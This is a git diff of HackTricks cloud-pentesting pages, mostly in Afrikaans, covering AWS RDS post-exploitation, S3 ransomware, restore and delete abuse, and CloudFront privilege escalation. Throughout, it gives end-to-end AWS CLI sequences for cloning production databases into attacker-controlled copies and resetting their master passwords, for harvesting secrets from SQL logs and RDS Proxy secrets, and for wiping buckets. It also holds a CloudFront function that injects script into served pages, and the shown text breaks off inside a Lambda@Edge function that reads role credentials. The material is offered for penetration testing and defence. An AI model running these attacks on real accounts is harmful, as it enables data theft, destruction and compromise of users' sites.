+Misbruik Cross-Region geoutomatiseerde backups-replikasie om stilweg 'n RDS-instantie se geoutomatiseerde backups in 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om data buite die normale monitering in 'n Region wat verdedigers dalk nie monitor nie, te bekom.
 
-Benodigde permissies (minimum):
+Permissions needed (minimum):
 - `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
 - `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
 - `rds:RestoreDBInstanceToPointInTime` in the destination Region
 - `rds:ModifyDBInstance` in the destination Region
-- `rds:StopDBInstanceAutomatedBackupsReplication` (opsionele opruiming)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (om die herstelde DB bloot te stel)
+- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
 
-Impak: Persistensie en data-eksfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar bloot te stel met deur die aanvaller beheerde inlogbewyse.
+Impact: Persistensie en data-eksfiltrasie deur 'n kopie van produksiedata in 'n ander Region te herstel en dit openbaar beskikbaar te maak met aanvaller-beheerde inlogbewyse.
 
 <details>
-<summary>End-tot-end CLI (vervang plekhouers)</summary>
+<summary>End-to-end CLI (vervang plekhouers)</summary>
 ```bash
 # 1) Recon (SOURCE region A)
 aws rds describe-db-instances \
@@ -163,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
 </details>
 
 
-### Skakel volledige SQL-logging in via DB-parametergroepe en exfiltrate via RDS log APIs
+### Skakel volledige SQL-logging in via DB parameter groups en exfiltrate via RDS log APIs
 
-Misbruik `rds:ModifyDBParameterGroup` saam met RDS log download APIs om alle SQL-opdragte wat deur toepassings uitgevoer word vas te lê (geen DB engine credentials benodig nie). Skakel engine SQL-logging in en haal die loglêers af via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om queries te versamel wat moontlik secrets/PII/JWTs bevat.
+Abuse `rds:ModifyDBParameterGroup` met RDS log download APIs om alle SQL-stellings wat deur toepassings uitgevoer word vas te vang (geen DB engine credentials nodig nie). Skakel engine SQL-logging aan en haal die loglêers via `rds:DescribeDBLogFiles` en `rds:DownloadDBLogFilePortion` (of die REST `downloadCompleteLogFile`). Nuttig om queries te versamel wat moontlik secrets/PII/JWTs bevat.
 
-Benodigde permissies (minimum):
+Permissions needed (minimum):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
 - `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
 - `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
 
-Stappe
-1) Recon die teiken en huidige parametergroep
+Steps
+1) Recon target and current parameter group
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Verseker dat 'n pasgemaakte DB parameter group aangeheg is (kan nie die standaard wysig nie)
-- As die instansie reeds 'n pasgemaakte groep gebruik, hergebruik sy naam in die volgende stap.
-- Andersins skep en heg een aan wat ooreenstem met die engine family:
+2) Verseker dat 'n aangepaste DB parameter group aangeheg is (kan nie die verstek wysig nie)
+- As die instansie reeds 'n aangepaste groep gebruik, hergebruik sy naam in die volgende stap.
+- Anders skep en heg een aan wat by die engine family pas:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,8 +232,8 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Skakel verbose SQL logging aan
-- MySQL engines (onmiddellik / geen herbegin nodig):
+3) Skakel uitgebreide SQL-logging in
+- MySQL engines (onmiddellik / geen herbegin):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -208,7 +244,7 @@ aws rds modify-db-parameter-group \
 #   "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
 #   "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
 ```
-- PostgreSQL enjinne (herbegin vereis):
+- PostgreSQL enjins (herbegin vereis):
 ```bash
 aws rds modify-db-parameter-group \
 --db-parameter-group-name <PGNAME> \
@@ -220,11 +256,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Laat die werkbelasting loop (of genereer navrae). Statements sal geskryf word na engine-lêerlogs
+4) Laat die workload hardloop (of genereer queries). Statements sal na engine file logs geskryf word
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) Ontdek en laai logs af (no DB creds required)
+5) Ontdek en laai logs af (geen DB creds benodig)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -235,18 +271,18 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) Ontleed offline vir gevoelige data
+6) Analiseer aflyn vir sensitiewe data
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-Voorbeeldbewys (gesensureer):
+Voorbeeldbewyse (gesensureer):
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
 Opruiming
-- Herstel parameters na verstekwaardes en herbegin indien nodig:
+- Stel parameters terug na verstekwaardes en herbegin indien nodig:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Impak: Post-exploitation toegang tot data deur alle toepassing se SQL-opdragte via AWS APIs vas te vang (no DB creds), moontlik leaking secrets, JWTs, and PII.
+Impak: Post-exploitation data-toegang deur alle toepassings SQL-statemente vas te vang via AWS APIs (geen DB creds), moontlik leak van secrets, JWTs, en PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-Misbruik RDS read replicas om out-of-band read access te verkry sonder om die primary instance credentials aan te raak. 'n aanvaller kan 'n read replica van 'n produksie-instansie skep, die replica se master password terugstel (dit verander nie die primary nie), en opsioneel die replica openbaar blootstel om data te exfiltrate.
+Misbruik RDS read replicas om out-of-band lees-toegang te verkry sonder om die primêre instansie se credentials aan te raak. ’n aanvaller kan ’n read replica vanaf ’n produksie-instansie skep, die replica se master-wagwoord terugstel (dit verander nie die primêre nie), en opsioneel die replica publiek blootstel om data te exfiltrate.
 
-Benodigde permissies (minimum):
+Vereiste permissies (minimaal):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (as die replica openbaar blootgestel word)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
 
-Impak: Read-only toegang tot produksiedata via 'n replica met attacker-controlled credentials; laer waarskynlikheid van deteksie aangesien die primary onaangeraak bly en replication voortgaan.
+Impak: Read-only toegang tot produksiedata via ’n replica met credentials wat deur die aanvaller beheer word; laer waarskynlikheid van opsporing aangesien die primêre onaangeraak bly en replikasie voortgaan.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -305,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
 Voorbeeldbewyse (MySQL):
-- Replica DB-status: `available`, read replication: `replicating`
-- Suksesvolle verbinding met nuwe wagwoord en `@@read_only=1` wat lees‑alleen replica-toegang bevestig.
+- Replica DB-status: `available`, leesreplikasie: `replicating`
+- Suksesvolle konneksie met nuwe wagwoord en `@@read_only=1` wat lees-alleen replica-toegang bevestig.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-Misbruik RDS Blue/Green om 'n produksie DB te kloon in 'n deurlopend gereplikeerde, lees‑alleen green-omgewing. Herstel dan die green-master credentials om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Hierdie is minder sigbaar as snapshot sharing en omseil dikwels monitering wat slegs op die bron fokus.
+Misbruik RDS Blue/Green om 'n produksie-DB te kloon na 'n deurlopend gerepliseerde, lees-alleen green-omgewing. Herstel dan die green master-kredensiale om toegang tot die data te kry sonder om die blue (prod) instance aan te raak. Dit is meer sluipend as snapshot sharing en omseil dikwels monitering wat slegs op die bron gefokus is.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +393,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Impak: Slegs lees maar volle data-toegang tot 'n byna-reële-tyd kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir stilletjies data-ekstraksie en aflyn-analise.
+Impak: Slegs-lees, maar volle data-toegang tot 'n byna-regstreekse kloon van produksie sonder om die produksie-instansie te wysig. Nuttig vir sluipende data-ekstraksie en vanlyn-ontleding.
 
 
 ### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
 
-Misbruik Aurora om die RDS Data API HTTP-endpoint op 'n teiken-kluster te aktiveer, die master-wagwoord na 'n waarde wat jy beheer te herstel, en voer SQL oor HTTPS uit (geen VPC-netwerkpad benodig nie). Werk op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (e.g., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).
+Misbruik Aurora om die RDS Data API HTTP endpoint op 'n teikencluster te aktiveer, stel die master-wagwoord terug na 'n waarde wat jy beheer, en voer SQL oor HTTPS uit (geen VPC netwerkrpad benodig nie). Werk op Aurora engines wat die Data API/EnableHttpEndpoint ondersteun (e.g., Aurora MySQL 8.0 provisioned; sommige Aurora PostgreSQL/MySQL weergawes).
 
-Permissions (minimum):
+Permissies (minimum):
 - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
-- rds-data:ExecuteStatement (en rds-data:BatchExecuteStatement indien gebruik)
+- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
 
-Impak: Omseil netwerksegmentering en exfiltrate data via AWS APIs sonder direkte VPC-verbinding na die DB.
+Impak: Omseil netwerkssegmentering en exfiltreer data via AWS APIs sonder direkte VPC-verbinding na die DB.
 
 <details>
-<summary>Eind-tot-eind CLI (Aurora MySQL voorbeeld)</summary>
+<summary>Einde-tot-einde CLI (Aurora MySQL voorbeeld)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -425,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 Aantekeninge:
-- As multi-statement SQL deur rds-data verwerp word, stuur afsonderlike execute-statement-oproepe.
-- Vir enjinne waar modify-db-cluster --enable-http-endpoint geen uitwerking het nie, gebruik rds enable-http-endpoint --resource-arn.
-- Verseker dat die enjin/weergawe werklik die Data API ondersteun; anders sal HttpEndpointEnabled op False bly.
+- As multi-statement SQL deur rds-data verwerp word, maak afsonderlike execute-statement-oproepe.
+- Vir engines waar modify-db-cluster --enable-http-endpoint geen effek het nie, gebruik rds enable-http-endpoint --resource-arn.
+- Maak seker die engine/weergawe ondersteun werklik die Data API; anders sal HttpEndpointEnabled False bly.
 
 
-### Verkry DB-kredensiële via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### Verkry DB-geloofsbriewe via RDS Proxy auth-geheime (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Misbruik RDS Proxy-konfigurasie om die Secrets Manager-secret wat vir backend-verifikasie gebruik word te ontdek, en lees dan die geheim om databank-kredensiële te verkry. Baie omgewings verleen uitgebreide `secretsmanager:GetSecretValue`, wat dit 'n lae-wrywing pivot na DB-kredensiële maak. As die geheim 'n CMK gebruik, kan verkeerd-gescopeerde KMS-magtigings ook `kms:Decrypt` toelaat.
+Misbruik RDS Proxy-konfigurasie om die Secrets Manager secret wat vir backend-verifikasie gebruik word te ontdek, en lees dan die secret om databasisgeloofsbriewe te bekom. Baie omgewings verleen wye `secretsmanager:GetSecretValue`, wat dit 'n low-friction pivot na DB-geloofsbriewe maak. As die secret 'n CMK gebruik, kan verkeerd gespesifiseerde KMS-toestemmings ook `kms:Decrypt` toelaat.
 
-Benodigde permissies (minimum):
+Benodigde toestemmings (minimum):
 - `rds:DescribeDBProxies`
-- `secretsmanager:GetSecretValue` on the referenced SecretArn
-- Optional when the secret uses a CMK: `kms:Decrypt` on that key
+- `secretsmanager:GetSecretValue` op die verwysde SecretArn
+- Opsioneel wanneer die secret 'n CMK gebruik: `kms:Decrypt` op daardie sleutel
 
-Impact: Onmiddellike openbaarmaking van die DB-gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; stel direkte DB-toegang of verdere laterale beweging in staat.
+Impak: Onmiddellike openbaarmaking van die DB-gebruikersnaam/wagwoord wat op die proxy gekonfigureer is; maak direkte DB-toegang of verdere lateral movement moontlik.
 
 Stappe
 ```bash
@@ -454,7 +490,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-Lab (minimaal om te reproduseer)
+Laboratorium (minimaal om te herproduseer)
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -480,17 +516,17 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
 aws iam delete-role --role-name rds-proxy-secret-role
 aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
 ```
-### Stilswyende deurlopende eksfiltrasie via Aurora zero‑ETL na Amazon Redshift (rds:CreateIntegration)
+### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
 
-Misbruik Aurora PostgreSQL zero‑ETL integration om produksiedata deurlopend na 'n Redshift Serverless namespace wat jy beheer te repliseer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration magtig vir 'n spesifieke Aurora cluster ARN, kan 'n aanvaller 'n byna regstreekse datakopie vestig sonder DB creds, snapshots of netwerkblootstelling.
+Misbruik Aurora PostgreSQL zero‑ETL integration om produksiedata deurlopend te repliseer in 'n Redshift Serverless namespace wat jy beheer. Met 'n permissiewe Redshift resource policy wat CreateInboundIntegration/AuthorizeInboundIntegration vir 'n spesifieke Aurora cluster ARN magtig, kan 'n aanvaller 'n byna real‑time datakopie opstel sonder DB creds, snapshots of netwerkblootstelling.
 
-Benodigde bevoegdhede (minimum):
+Permissions needed (minimum):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
 - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
 - `rds-data:ExecuteStatement` (optional; to seed data if needed)
 
-Getoets op: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
+Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
 <details>
 <summary>1) Skep Redshift Serverless namespace + workgroup</summary>
@@ -540,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Skep Aurora PostgreSQL cluster (aktiveer Data API en logiese replisering)</summary>
+<summary>3) Skep Aurora PostgreSQL-kluster (aktiveer Data API en logical replication)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -583,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
 </details>
 
 <details>
-<summary>5) Materialiseer en bevraag gerepliseerde data in Redshift</summary>
+<summary>5) Materialiseer en doen navraag oor gerepliseerde data in Redshift</summary>
 ```bash
 # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
 aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -596,12 +632,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>
 
-Bewyse wat tydens die toets waargeneem is:
+Bewyse waargeneem tydens die toets:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION het integration_id 377a462b-c42c-4f08-937b-77fe75d98211 en state PendingDbConnectState getoon voor die skep van die databasis.
-- Nadat CREATE DATABASE FROM INTEGRATION uitgevoer is, het die lys van tabelle die skema ztl en tabel customers getoon; die seleksie vanaf ztl.customers het 2 rye teruggegee (Alice, Bob).
+- SVV_INTEGRATION het integration_id 377a462b-c42c-4f08-937b-77fe75d98211 en state PendingDbConnectState getoon voordat die DB geskep is.
+- Na CREATE DATABASE FROM INTEGRATION het die lys van tabelle die schema ztl en die tabel customers gewys; selecting from ztl.customers het 2 rye teruggegee (Alice, Bob).
 
-Impak: Deurlopende byna-reële-tyd exfiltration van geselekteerde Aurora PostgreSQL-tabelle na Redshift Serverless onder beheer van die aanvaller, sonder om databasis-inlogbewyse, rugsteunkopieë of netwerktoegang tot die bronkluster te gebruik.
+Impak: Deurlopende byna regstreekse exfiltration van geselekteerde Aurora PostgreSQL-tabelle na Redshift Serverless wat deur die aanvalvoerder beheer word, sonder om database credentials, backups of network access tot die bronkluster te gebruik.
 
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -4,7 +4,7 @@
 
 ## S3
 
-Vir meer inligting, kyk:
+Vir meer inligting kyk:
 
 {{#ref}}
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
@@ -12,27 +12,58 @@ Vir meer inligting, kyk:
 
 ### Sensitiewe Inligting
 
-Soms sal jy sensitiewe inligting leesbaar in die buckets vind. Byvoorbeeld, terraform state secrets.
+Soms sal jy sensitiewe inligting vind wat leesbaar is in die buckets. Byvoorbeeld, terraform state secrets.
 
 ### Pivoting
 
-Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.\
-Byvoorbeeld, **airflow** kan **DAGs** **code** daar stoor, of **web pages** kan direk vanaf S3 bedien word. 'n Aanvaller met write-permissions kan die **code** in die bucket wysig om na ander platforms te **pivot**, of **takeover accounts** deur JS-lêers te wysig.
+Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.  
+Byvoorbeeld, **airflow** kan **DAGs** **code** daar stoor, of **web pages** kan direk vanaf S3 gedien word. 'n aanvaller met skryftoestemmings kan die **code** in die bucket **wysig** om na ander platforms te **pivot**, of rekeninge te **takeover** deur JS-lêers te wysig.
 
 ### S3 Ransomware
 
-In hierdie scenario skep die **aanvaller 'n KMS (Key Management Service) sleutel in hul eie AWS account** of in 'n ander gekompromitteerde account. Hulle maak hierdie **sleutel dan toeganklik vir enigiemand in die wêreld**, wat enige AWS user, role, of account toelaat om objects te enkripteer met hierdie sleutel. Die objects kan egter nie gedekripteer word nie.
+In hierdie scenario skep die **aanvaller 'n KMS (Key Management Service) key in hul eie AWS account** of in 'n ander gekompromitteerde account. Hulle maak hierdie **key vir enigiemand in die wêreld toeganklik**, wat enige AWS user, role, of account toelaat om objects met hierdie sleutel te enkripteer. Die objects kan egter nie gedekripteer word nie.
 
-Die aanvaller identifiseer 'n teiken **S3 bucket en verkry write-level access** daartoe deur verskeie metodes. Dit kan wees as gevolg van swak bucket-konfigurasie wat dit publiek blootstel of omdat die aanvaller toegang tot die AWS-omgewing self kry. Die aanvaller mik gewoonlik na buckets wat sensitiewe inligting bevat soos personally identifiable information (PII), protected health information (PHI), logs, backups, en meer.
+Die aanvaller identifiseer 'n teiken **S3 bucket en kry write-level toegang** daartoe deur verskeie metodes. Dit kan wees as gevolg van swak bucket-konfigurasie wat dit publiek blootstel, of omdat die aanvaller toegang tot die AWS-omgewing self verkry het. Die aanvaller mik gewoonlik na buckets wat sensitiewe inligting bevat soos personally identifiable information (PII), protected health information (PHI), logs, backups, en meer.
 
-Om te bepaal of die bucket vir ransomware geteiken kan word, kontroleer die aanvaller die konfigurasie daarvan. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete) geaktiveer is**. As Object Versioning nie aangeskakel is nie, kan die aanvaller voortgaan. As Object Versioning aangeskakel is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning deaktiveer**. As beide Object Versioning en MFA delete aangeskakel is, word dit moeiliker vir die aanvaller om daardie spesifieke bucket met ransomware te teiken.
+Om te bepaal of die bucket vir ransomware geteiken kan word, kyk die aanvaller na die konfigurasie. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete)** geaktiveer is. As Object Versioning nie geaktiveer is nie, kan die aanvaller voortgaan. As Object Versioning geaktiveer is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning deaktiveer**. As beide Object Versioning en MFA delete geaktiveer is, raak dit moeiliker vir die aanvaller om daardie spesifieke bucket met ransomware te teiken.
 
-Deur die AWS API te gebruik, vervang die aanvaller **elke object in die bucket met 'n enkripteerde kopie wat hul KMS sleutel gebruik**. Dit enkripteer effektief die data in die bucket, en maak dit ontoeganklik sonder die sleutel.
+Deur die **AWS API** te gebruik, vervang die aanvaller elke object in die bucket met 'n encrypted copy wat hul KMS key gebruik. Dit enkripteer effektief die data in die bucket, wat dit ontoeganklik maak sonder die sleutel.
 
-Om verdere druk te plaas, skeduleer die aanvaller die verwydering van die KMS sleutel wat in die aanval gebruik is. Dit gee die teiken 'n 7-dae venster om hul data te herstel voordat die sleutel verwyder word en die data permanent verlore is.
+Om nog meer druk te plaas, skeduleer die aanvaller die verwydering van die KMS key wat in die aanval gebruik is. Dit gee die teiken 'n 7-dae venster om hul data te herstel voordat die sleutel verwyder word en die data permanent verlore is.
 
-Laastens kan die aanvaller 'n finale lêer oplaai, gewoonlik genaamd "ransom-note.txt", wat instruksies vir die teiken bevat oor hoe om hul lêers te herstel. Hierdie lêer word sonder enkripsie opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval.
+Laastens kan die aanvaller 'n finale lêer oplaaI, gewoonlik genaamd "ransom-note.txt," wat instruksies vir die teiken bevat oor hoe om hul lêers te herwin. Hierdie lêer word onversleuteld opgelaaI, waarskynlik om die aandag van die teiken te trek en hulle bewus te maak van die ransomware-aanval.
 
-**Vir meer info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### `s3:RestoreObject`
+
+'n Aanvaller met die s3:RestoreObject toestemming kan objects wat in Glacier of Deep Archive geargiveer is weer aktiveer, wat hulle tydelik toeganklik maak. Dit stel in staat tot recovery en exfiltration van histories-gearchiveerde data (backups, snapshots, logs, certifications, old secrets) wat normaalweg buite bereik sou wees. As die aanvaller hierdie toestemming kombineer met read permissions (bv., s3:GetObject), kan hulle volle kopieë van sensitiewe data bekom.
+```bash
+aws s3api restore-object \
+--bucket <BUCKET_NAME> \
+--key <OBJECT_KEY> \
+--restore-request '{
+"Days": <NUMBER_OF_DAYS>,
+"GlacierJobParameters": { "Tier": "Standard" }
+}'
+```
+### `s3:Delete*`
+
+Een aanvaller met die s3:Delete* toestemming kan objects, versions en hele buckets uitvee, backups ontwrig, en onmiddellike en onomkeerbare dataverlies veroorsaak, vernietiging van bewyse, en kompromittering van backup- of recovery-artefakte.
+```bash
+# Delete an object from a bucket
+aws s3api delete-object \
+--bucket <BUCKET_NAME> \
+--key <OBJECT_KEY>
+
+# Delete a specific version
+aws s3api delete-object \
+--bucket <BUCKET_NAME> \
+--key <OBJECT_KEY> \
+--version-id <VERSION_ID>
+
+# Delete a bucket
+aws s3api delete-bucket \
+--bucket <BUCKET_NAME>
+```
+**Vir meer inligting** [**sien die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md

@@ -0,0 +1,217 @@
+# AWS - CloudFront Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
+
+'n Aanvaller wat `cloudfront:UpdateDistribution` en `cloudfront:GetDistributionConfig` regte het, kan die konfigurasie van 'n CloudFront-distribusie wysig. Hulle benodig nie regte op die teiken S3-bucket self nie, alhoewel die aanval makliker is as daardie bucket 'n permissiewe beleid het wat toegang vanaf die cloudfront.amazonaws.com service principal toelaat.
+
+Die aanvaller verander 'n distribusie se origin-konfigurasie sodat dit na 'n ander S3-bucket of na 'n bediener wat deur die aanvaller beheer word wys. Eerstens haal hulle die huidige distribusie-konfigurasie op:
+```bash
+aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
+```
+Dan wysig hulle current-config.json om die origin na die nuwe hulpbron te wys — byvoorbeeld 'n ander S3 bucket:
+```bash
+...
+"Origins": {
+"Quantity": 1,
+"Items": [
+{
+"Id": "<origin-id>",
+"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
+"OriginPath": "",
+"CustomHeaders": {
+"Quantity": 0
+},
+"S3OriginConfig": {
+"OriginAccessIdentity": "",
+"OriginReadTimeout": 30
+},
+"ConnectionAttempts": 3,
+"ConnectionTimeout": 10,
+"OriginShield": {
+"Enabled": false
+},
+"OriginAccessControlId": "E30N32Y4IBZ971"
+}
+]
+},
+...
+```
+Laastens, pas die gewijzigde konfigurasie toe (jy moet die huidige ETag verskaf wanneer jy opdateer):
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id <distribution-id> \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+<!DOCTYPE html>
+<html>
+<head>
+<title>Compromised Page</title>
+</head>
+<body>
+<h1>Original Content</h1>
+<p>This page has been modified by CloudFront Functions</p>
+<script>
+// Malicious JavaScript
+alert('CloudFront Function Code Injection Successful!');
+</script>
+</body>
+</html>
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Skep die malicious-function in CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Kry die ETag van die funksie in DEVELOPMENT stage
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Publiseer die funksie na LIVE stage
+aws cloudfront publish-function --name malicious-function --if-match <etag>
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+  // Obtain role credentials
+  const credentials = {
+    accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+    secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+    sessionToken: process.env.AWS_SESSION_TOKEN,
